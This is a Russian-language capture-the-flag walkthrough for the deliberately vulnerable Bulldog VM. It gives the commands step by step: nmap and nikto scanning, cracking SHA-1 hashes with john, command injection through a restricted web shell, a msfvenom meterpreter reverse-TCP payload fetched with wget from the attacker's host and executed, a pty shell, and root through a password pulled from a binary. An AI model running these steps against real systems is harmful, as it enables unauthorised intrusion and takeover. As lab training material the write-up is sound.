CTF. Hack The Bulldog VM

CTF. Hack The Bulldog VM

@webware

t.me/webware

Привет, Codeby! В этот раз я предлагаю рассмотреть методы решения, в рамках CTF, уязвимой VM Bulldog (Boot2Root Challenge)

Скачиваем Bulldog тут


Атакующая ОС: Kali Linux 2018.2


Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:

nmap –sV –A 192.168.0.110

Переходим на web Bulldog:

Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:

nikto –h 192.168.0.110

Nikto нашел интересную директорию, зайдем осмотреться:

Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:

И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:

Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:

hash-identifier

Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:

john /root/123.txt (тут хэш пароля) –format=RAW-SHA1

Имеем в наличии учётные данные пользователя Ник:

  • nick
  • bulldog

Используем их для аутентификации на сервере:

http://192.168.0.110/admin

После успешной авторизации, можно перейти в Web Shell:

http://192.168.0.110/dev/shell/

Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.


Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.


Этих команд достаточно, да и одной вполне, чтобы сделать так…


  • | - конвейер. Передает вывод предыдущей команды на ввод следующей или на вход командного интерпретатора shell. Этот метод часто используется для связывания последовательности команд в единую цепочку.

Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).


Полагаю, что будет дальше понятно.


Если мы выполним команду:

whoami

Результат не радужный, но если сделаем:

pwd | whoami

Теперь, все отрабатывает должным образом.


Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.


Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python (это обязательный момент, т.к. это Django)

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.py

Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.

Настраиваем handler:

Этап загрузки shell скрипта:

pwd | wget http://192.168.0.101:88/sh.py

Убеждаемся, что загрузка прошла успешно:

ls -a

Даем права скрипту на запуск:

pwd | chmod 777 sh.py

Запускаем скрипт:

python sh.py

Результат предсказуем:

Используем команду:

shell

Затем импортируем bash оболочку:

python -c 'import pty;pty.spawn("/bin/bash")'

Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:

ls –a

Обнаружив скрытую директорию, переходим в нее:

cd .hiddenadmindirectory
ls –a

Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.


strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.

strings customPermissionApp

Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.


Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:

cd /home/jango/bulldog
./customPermissionApp

Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:

cd
cat congrats.txt

На этом прохождение Bulldog VM можно считать завершенным.

Спасибо за внимание.

Источник codeby.net

Report Page